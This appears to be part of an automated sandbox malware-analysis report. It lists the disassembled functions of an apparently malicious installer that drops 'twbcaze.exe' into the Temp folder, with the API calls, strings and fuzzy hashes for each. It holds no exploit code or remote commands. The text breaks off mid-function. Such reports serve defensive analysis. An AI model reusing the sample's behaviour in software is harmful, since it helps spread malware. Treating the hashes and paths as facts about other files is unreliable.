Associated: 00000005.00000002.356741630.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.000000000040B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356760134.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356760134.0000000000433000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 27fbe12f246225e3c312bde4903856853e362ca19ec2099a42773af8ab92d4e2
Instruction ID: e4cef5105026143dd13b930ce46becb45ea6c66ba88fb4286e933b642882ba15
Opcode Fuzzy Hash: 27fbe12f246225e3c312bde4903856853e362ca19ec2099a42773af8ab92d4e2
Instruction Fuzzy Hash: F3E08631211118FBDF209E51EC00A973B9CDB04362F008032B904E5190D538DA10DBA9

Uniqueness

Uniqueness Score: -1.00%

Function 004030B3 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000,00000000,00000000,00402E1C,0000E9E4), ref: 004030C1

Memory Dump Source

Source File: 00000005.00000002.356736397.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.356732850.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356741630.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.000000000040B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356760134.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356760134.0000000000433000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: b482a8c56bd79b67497ba547cc3d1d0f84b07fc9ac7ac5f50d4e9ed509354c89
Instruction ID: aafe5e0ddee8b519ffd98e4e857b28c3b9165386d483fecacc2863ad1570d206
Opcode Fuzzy Hash: b482a8c56bd79b67497ba547cc3d1d0f84b07fc9ac7ac5f50d4e9ed509354c89
Instruction Fuzzy Hash: D6B01231544200BFDB214F00DF06F057B21B79C701F208030B340380F082712430EB1E

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00404FC2 Relevance: 65.0, APIs: 36, Strings: 1, Instructions: 278windowclipboardmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000403), ref: 00405021
GetDlgItem.USER32(?,000003EE), ref: 00405030
GetClientRect.USER32 ref: 0040506D
GetSystemMetrics.USER32 ref: 00405075
SendMessageA.USER32 ref: 00405096
SendMessageA.USER32 ref: 004050A7
SendMessageA.USER32 ref: 004050BA
SendMessageA.USER32 ref: 004050C8
SendMessageA.USER32 ref: 004050DB
ShowWindow.USER32(00000000,?), ref: 004050FD
ShowWindow.USER32(?,00000008), ref: 00405111
GetDlgItem.USER32(?,000003EC), ref: 00405132
SendMessageA.USER32 ref: 00405142
SendMessageA.USER32 ref: 0040515B
SendMessageA.USER32 ref: 00405167
GetDlgItem.USER32(?,000003F8), ref: 0040503F

Part of subcall function 00403E89: SendMessageA.USER32 ref: 00403E97

GetDlgItem.USER32(?,000003EC), ref: 00405184
CreateThread.KERNEL32(00000000,00000000,Function_00004F56,00000000), ref: 00405192
CloseHandle.KERNEL32(00000000), ref: 00405199
ShowWindow.USER32(00000000), ref: 004051BD
ShowWindow.USER32(00000000,00000008), ref: 004051C2
ShowWindow.USER32(00000008), ref: 00405209
SendMessageA.USER32 ref: 0040523B
CreatePopupMenu.USER32 ref: 0040524C
AppendMenuA.USER32(00000000,00000000,00000001,00000000), ref: 00405261
GetWindowRect.USER32(00000000,?), ref: 00405274
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 00405298
SendMessageA.USER32 ref: 004052D3
OpenClipboard.USER32(00000000), ref: 004052E3
EmptyClipboard.USER32 ref: 004052E9
GlobalAlloc.KERNEL32(00000042,?,?,?,00000000,?,00000000), ref: 004052F2
GlobalLock.KERNEL32 ref: 004052FC
SendMessageA.USER32 ref: 00405310
GlobalUnlock.KERNEL32(00000000,?,?,00000000,?,00000000), ref: 00405328
SetClipboardData.USER32 ref: 00405333
CloseClipboard.USER32 ref: 00405339

Strings

{, xrefs: 00405228

Memory Dump Source

Source File: 00000005.00000002.356736397.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.356732850.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356741630.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.000000000040B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356760134.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356760134.0000000000433000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
String ID: {
API String ID: 590372296-366298937
Opcode ID: 2304b148e9a21fd8fd2dbd7aea04fbfc66f4e7d68f979f8d2529fbafd725d49b
Instruction ID: 6929f331228a41c4e1f6bf5049925f100d3ed94cd800429e98060a15954be78d
Opcode Fuzzy Hash: 2304b148e9a21fd8fd2dbd7aea04fbfc66f4e7d68f979f8d2529fbafd725d49b
Instruction Fuzzy Hash: 6DA13AB1900208BFDB119F60DD89AAE7F79FB44355F00813AFA05BA1A0C7795E41DFA9

Uniqueness

Uniqueness Score: -1.00%

Function 004047D3 Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 478windowmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003F9), ref: 004047EA
GetDlgItem.USER32(?,00000408), ref: 004047F7
GlobalAlloc.KERNEL32(00000040,00000001), ref: 00404843
LoadBitmapA.USER32 ref: 00404856
SetWindowLongA.USER32(?,000000FC,00404DD4), ref: 00404870
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00404884
ImageList_AddMasked.COMCTL32(00000000,?,00FF00FF), ref: 00404898
SendMessageA.USER32 ref: 004048AD
SendMessageA.USER32 ref: 004048B9
SendMessageA.USER32 ref: 004048CB
DeleteObject.GDI32(?), ref: 004048D0
SendMessageA.USER32 ref: 004048FB
SendMessageA.USER32 ref: 00404907
SendMessageA.USER32 ref: 0040499C
SendMessageA.USER32 ref: 004049C7
SendMessageA.USER32 ref: 004049DB
GetWindowLongA.USER32(?,000000F0), ref: 00404A0A
SetWindowLongA.USER32(?,000000F0,00000000), ref: 00404A18
ShowWindow.USER32(?,00000005), ref: 00404A29
SendMessageA.USER32 ref: 00404B2C
SendMessageA.USER32 ref: 00404B91
SendMessageA.USER32 ref: 00404BA6
SendMessageA.USER32 ref: 00404BCA
SendMessageA.USER32 ref: 00404BF0
ImageList_Destroy.COMCTL32(?), ref: 00404C05
GlobalFree.KERNEL32(?), ref: 00404C15
SendMessageA.USER32 ref: 00404C85
SendMessageA.USER32 ref: 00404D2E
SendMessageA.USER32 ref: 00404D3D
InvalidateRect.USER32(?,00000000,00000001), ref: 00404D5D
ShowWindow.USER32(?,00000000), ref: 00404DAB
GetDlgItem.USER32(?,000003FE), ref: 00404DB6
ShowWindow.USER32(00000000), ref: 00404DBD

Strings

M, xrefs: 00404983
, xrefs: 00404D95
N, xrefs: 00404A67

Memory Dump Source

Source File: 00000005.00000002.356736397.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.356732850.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356741630.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.000000000040B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356760134.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356760134.0000000000433000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $M$N
API String ID: 1638840714-813528018
Opcode ID: dd6819aa1443f5cf7d51c2c88bee5c86e1a698ab9de6fee51b1062b3689a5351
Instruction ID: 9a6d62add78faf2b4aa272e1cf177665df16ecedb9a61d3aa4425c18576eb247
Opcode Fuzzy Hash: dd6819aa1443f5cf7d51c2c88bee5c86e1a698ab9de6fee51b1062b3689a5351
Instruction Fuzzy Hash: 8B029DB0E00209AFDB24DF55DD45AAE7BB5EB84315F10817AF610BA2E1C7789A81CF58

Uniqueness

Uniqueness Score: -1.00%

Function 00404292 Relevance: 23.0, APIs: 10, Strings: 3, Instructions: 273stringCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003FB), ref: 004042E1
SetWindowTextA.USER32(00000000,?), ref: 0040430B
SHBrowseForFolderA.SHELL32(?,0041F908,?), ref: 004043BC
CoTaskMemFree.OLE32(00000000), ref: 004043C7
lstrcmpiA.KERNEL32("C:\Users\user\AppData\Local\Temp\twbcaze.exe" ,00420538,00000000,?,?), ref: 004043F9
lstrcatA.KERNEL32(?,"C:\Users\user\AppData\Local\Temp\twbcaze.exe" ), ref: 00404405
SetDlgItemTextA.USER32(?,000003FB,?), ref: 00404417

Part of subcall function 0040543D: GetDlgItemTextA.USER32 ref: 00405450

Part of subcall function 00405DFA: CharNextA.USER32(?), ref: 00405E52
Part of subcall function 00405DFA: CharNextA.USER32(?), ref: 00405E5F
Part of subcall function 00405DFA: CharNextA.USER32(?), ref: 00405E64
Part of subcall function 00405DFA: CharPrevA.USER32(?,?), ref: 00405E74

GetDiskFreeSpaceA.KERNEL32(0041F500,?,?,0000040F,?,0041F500,0041F500,?,00000001,0041F500,?,?,000003FB,?), ref: 004044D5
MulDiv.KERNEL32 ref: 004044F0

Part of subcall function 00404649: lstrlenA.KERNEL32(00420538,00420538,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,00404564,000000DF,00000000,00000400,?), ref: 004046E7
Part of subcall function 00404649: wsprintfA.USER32 ref: 004046EF
Part of subcall function 00404649: SetDlgItemTextA.USER32(?,00420538), ref: 00404702

Strings

"C:\Users\user\AppData\Local\Temp\twbcaze.exe" , xrefs: 004043F3, 004043F8, 00404403
C:\Users\user\AppData\Local\Temp, xrefs: 004043E2
A, xrefs: 004043B5

Memory Dump Source

Source File: 00000005.00000002.356736397.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.356732850.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356741630.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.000000000040B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356760134.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356760134.0000000000433000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpilstrlenwsprintf
String ID: "C:\Users\user\AppData\Local\Temp\twbcaze.exe" $A$C:\Users\user\AppData\Local\Temp
API String ID: 2624150263-861260144
Opcode ID: fb58f5be01c1fbab376fe3aca88381438e011d3cf0c95fbb8aa79c4ccef87f62
Instruction ID: cfccd4b73e861dd9bc9b7885d3f414f2f86db1ffcc16c92a650f1104495a78a5
Opcode Fuzzy Hash: fb58f5be01c1fbab376fe3aca88381438e011d3cf0c95fbb8aa79c4ccef87f62
Instruction Fuzzy Hash: EAA17EB1D00218BBDB11AFA5CD41AAFB6B8EF84315F10813BF605B62D1D77C9A418F69

Uniqueness

Uniqueness Score: -1.00%

Function 00402053 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 134comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(004073F8,?,00000001,004073E8,?), ref: 004020A6
MultiByteToWideChar.KERNEL32(?,?,?,000000FF,00409408,00000400,?,00000001,004073E8,?,00000000,00000045,000000CD,00000002,000000DF,000000F0), ref: 00402160

Strings

C:\Users\user\AppData\Local\Temp, xrefs: 004020DE

Memory Dump Source

Source File: 00000005.00000002.356736397.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.356732850.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356741630.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.000000000040B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356760134.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356760134.0000000000433000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID: ByteCharCreateInstanceMultiWide
String ID: C:\Users\user\AppData\Local\Temp
API String ID: 123533781-2935972921
Opcode ID: 089d45c0d23cda86f3d168a15e68d27aa0b28459bfa4feaba1da871340bdcdc6
Instruction ID: c7e9304a010c998f9a7959bd005017a1970e80d3ce8bb7043a01564e87abbd95
Opcode Fuzzy Hash: 089d45c0d23cda86f3d168a15e68d27aa0b28459bfa4feaba1da871340bdcdc6
Instruction Fuzzy Hash: 32416E75A00205BFCB00DFA8CD88E9E7BB5EF49354F204169F905EB2D1CA799C41CB94

Uniqueness

Uniqueness Score: -1.00%

Function 00402671 Relevance: 1.5, APIs: 1, Instructions: 29fileCOMMON

Download Yara Rule

APIs

FindFirstFileA.KERNEL32(00000000,?,00000002), ref: 00402680

Memory Dump Source

Source File: 00000005.00000002.356736397.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.356732850.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356741630.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.000000000040B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356760134.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356760134.0000000000433000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: c707d325fcd64eef76be24f413fce74fcf29a9d2c757c0b7f3e21b108dde0476
Instruction ID: c4b8fb32876d586bcf7df686e34757fa561d471cbaf363f6388d0c393702730c
Opcode Fuzzy Hash: c707d325fcd64eef76be24f413fce74fcf29a9d2c757c0b7f3e21b108dde0476
Instruction Fuzzy Hash: 81F0A032A041009ED711EBA49A499EEB7789B11318F60067BE101B21C1C6B859459B2A

Uniqueness

Uniqueness Score: -1.00%

Function 00403F9C Relevance: 40.5, APIs: 20, Strings: 3, Instructions: 204windowstringCOMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(00000000,-0000040A,00000001), ref: 00404027
GetDlgItem.USER32(00000000,000003E8), ref: 0040403B
SendMessageA.USER32 ref: 00404059
GetSysColor.USER32 ref: 0040406A
SendMessageA.USER32 ref: 00404079
SendMessageA.USER32 ref: 00404088
lstrlenA.KERNEL32(?), ref: 00404092
SendMessageA.USER32 ref: 004040A0
SendMessageA.USER32 ref: 004040AF
GetDlgItem.USER32(?,0000040A), ref: 00404112
SendMessageA.USER32 ref: 00404115
GetDlgItem.USER32(?,000003E8), ref: 00404140
SendMessageA.USER32 ref: 00404180
LoadCursorA.USER32 ref: 0040418F
SetCursor.USER32(00000000), ref: 00404198
ShellExecuteA.SHELL32(0000070B,open,.B,00000000,00000000,00000001), ref: 004041AB
LoadCursorA.USER32 ref: 004041B8
SetCursor.USER32(00000000), ref: 004041BB
SendMessageA.USER32 ref: 004041E7
SendMessageA.USER32 ref: 004041FB

Strings

open, xrefs: 004041A3
.B, xrefs: 004041A0
N, xrefs: 0040412E

Memory Dump Source

Source File: 00000005.00000002.356736397.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.356732850.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356741630.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.000000000040B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356760134.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356760134.0000000000433000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorExecuteShelllstrlen
String ID: N$open$.B
API String ID: 3615053054-720656042
Opcode ID: 1798247d7b7fc50258c29a0d8842d8596947dcfb78ae24f73fc7e5e40567b794
Instruction ID: d52f05746bbb3f3b1d606d9c91532631e65720296560e4ea5c31ec00add49965
Opcode Fuzzy Hash: 1798247d7b7fc50258c29a0d8842d8596947dcfb78ae24f73fc7e5e40567b794
Instruction Fuzzy Hash: 0161D571A40309BBEB109F60DD45F6A7B69FB54715F108036FB04BA2D1C7B8AA51CF98

Uniqueness

Uniqueness Score: -1.00%

Function 00401000 Relevance: 28.1, APIs: 14, Strings: 2, Instructions: 125COMMON

Download Yara Rule

APIs

DefWindowProcA.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32 ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010CF
FillRect.USER32 ref: 004010E4
DeleteObject.GDI32(?), ref: 004010ED
CreateFontIndirectA.GDI32(?), ref: 00401105
SetBkMode.GDI32(00000000,00000001), ref: 00401126
SetTextColor.GDI32(00000000,?), ref: 00401130
SelectObject.GDI32(00000000,?), ref: 00401140
DrawTextA.USER32(00000000,nrdosueajqjitn Setup,000000FF,00000010,00000820), ref: 00401156
SelectObject.GDI32(00000000,00000000), ref: 00401160
DeleteObject.GDI32(?), ref: 00401165
EndPaint.USER32(?,?), ref: 0040116E

Strings

F, xrefs: 0040100C
nrdosueajqjitn Setup, xrefs: 00401150

Memory Dump Source

Source File: 00000005.00000002.356736397.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.356732850.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356741630.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.000000000040B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356760134.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356760134.0000000000433000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F$nrdosueajqjitn Setup
API String ID: 941294808-4081485430
Opcode ID: cae46454919e7fa79772e51e967b3c1ae0100adcfe078b8b521791772386bd0b
Instruction ID: 81ce27436f0092abe3ce3185f2c65b9207eacd25275343976a1476a18aae1cf1
Opcode Fuzzy Hash: cae46454919e7fa79772e51e967b3c1ae0100adcfe078b8b521791772386bd0b
Instruction Fuzzy Hash: 06418B71804249AFCB058F95DD459AFBBB9FF44315F00802AF961AA2A0C738EA51DFA5

Uniqueness

Uniqueness Score: -1.00%

Function 004058E6 Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 144filememoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00405F28: GetModuleHandleA.KERNEL32(?,?,?,00403165,0000000D), ref: 00405F3A
Part of subcall function 00405F28: GetProcAddress.KERNEL32(00000000,?,?,?,00403165,0000000D), ref: 00405F55

CloseHandle.KERNEL32(00000000), ref: 00405933
GetShortPathNameA.KERNEL32 ref: 0040593C
GetShortPathNameA.KERNEL32 ref: 00405959
wsprintfA.USER32 ref: 00405977
GetFileSize.KERNEL32(00000000,00000000,00422140,C0000000,00000004,00422140,?,?,?,00000000,000000F1,?), ref: 004059B2
GlobalAlloc.KERNEL32(00000040,0000000A,?,?,00000000,000000F1,?), ref: 004059C1
ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 004059D7
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000,?,00421D40,00000000,-0000000A,004093E4,00000000,[Rename],?,?,00000000,000000F1,?), ref: 00405A1D
WriteFile.KERNEL32(00000000,00000000,?,?,00000000), ref: 00405A2F
GlobalFree.KERNEL32(00000000), ref: 00405A36
CloseHandle.KERNEL32(00000000), ref: 00405A3D

Part of subcall function 004057E4: lstrlenA.KERNEL32(00000000,?,00000000,00000000,004059F2,00000000,[Rename],?,?,00000000,000000F1,?), ref: 004057EB
Part of subcall function 004057E4: lstrlenA.KERNEL32(00000000,00000000,?,00000000,00000000,004059F2,00000000,[Rename],?,?,00000000,000000F1,?), ref: 0040581B

Strings

[Rename], xrefs: 004059E7, 004059F9
%s=%s, xrefs: 0040596D
@!B, xrefs: 0040594E

Memory Dump Source

Source File: 00000005.00000002.356736397.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.356732850.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356741630.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.000000000040B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356760134.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356760134.0000000000433000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID: File$Handle$CloseGlobalNamePathShortlstrlen$AddressAllocFreeModulePointerProcReadSizeWritewsprintf
String ID: %s=%s$@!B$[Rename]
API String ID: 3445103937-2946522640
Opcode ID: ba6dd0a96c47d1f42225f0131925257862b6081e9796f2b12c44a8ffad6b8124
Instruction ID: 3fdb6a032fd62a2424e34f1ba2115feadd67922d203a780a084708b988c1bb31
Opcode Fuzzy Hash: ba6dd0a96c47d1f42225f0131925257862b6081e9796f2b12c44a8ffad6b8124
Instruction Fuzzy Hash: C8410231B01B167BD7206B619D89F6B3A5CEF44755F04013AFD05F62D2E67CA8008EAD

Uniqueness

Uniqueness Score: -1.00%

Function 00405BBA Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 197stringCOMMON

Download Yara Rule

APIs

GetVersion.KERNEL32(00000000,0041FD10,00000000,00404EBC,0041FD10,00000000), ref: 00405C62
GetSystemDirectoryA.KERNEL32("C:\Users\user\AppData\Local\Temp\twbcaze.exe" ,00000400), ref: 00405CDD
GetWindowsDirectoryA.KERNEL32("C:\Users\user\AppData\Local\Temp\twbcaze.exe" ,00000400), ref: 00405CF0
SHGetSpecialFolderLocation.SHELL32(?,0040F0E0), ref: 00405D2C
SHGetPathFromIDListA.SHELL32(0040F0E0,"C:\Users\user\AppData\Local\Temp\twbcaze.exe" ), ref: 00405D3A
CoTaskMemFree.OLE32(0040F0E0), ref: 00405D45
lstrcatA.KERNEL32("C:\Users\user\AppData\Local\Temp\twbcaze.exe" ,\Microsoft\Internet Explorer\Quick Launch), ref: 00405D67
lstrlenA.KERNEL32("C:\Users\user\AppData\Local\Temp\twbcaze.exe" ,00000000,0041FD10,00000000,00404EBC,0041FD10,00000000), ref: 00405DB9

Strings

"C:\Users\user\AppData\Local\Temp\twbcaze.exe" , xrefs: 00405BE3, 00405CAA, 00405CC7, 00405CDC, 00405CEF, 00405D0B, 00405D36, 00405D66, 00405D6C, 00405D84, 00405D97, 00405DB2, 00405DB8, 00405DC3, 00405DED
\Microsoft\Internet Explorer\Quick Launch, xrefs: 00405D61
Software\Microsoft\Windows\CurrentVersion, xrefs: 00405CAC

Memory Dump Source

Source File: 00000005.00000002.356736397.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.356732850.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356741630.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.000000000040B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356760134.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356760134.0000000000433000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID: Directory$FolderFreeFromListLocationPathSpecialSystemTaskVersionWindowslstrcatlstrlen
String ID: "C:\Users\user\AppData\Local\Temp\twbcaze.exe" $Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 900638850-569242587
Opcode ID: 722f7ba73d7118e4ab3b6bf0c831072dc3c77b8f74574a686c3719bf3172466b
Instruction ID: c09fc2b2839bb59ef3d9b0e1161cb0e194e2e056f91f07e7f33828596fbb00b3
Opcode Fuzzy Hash: 722f7ba73d7118e4ab3b6bf0c831072dc3c77b8f74574a686c3719bf3172466b
Instruction Fuzzy Hash: CE51F331A04A05AAEF215F648C88BBF3B74EF05714F10827BE911B62E0D27C5942DF5E

Uniqueness

Uniqueness Score: -1.00%

Function 00405DFA Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 69COMMON

Download Yara Rule

APIs

CharNextA.USER32(?), ref: 00405E52
CharNextA.USER32(?), ref: 00405E5F
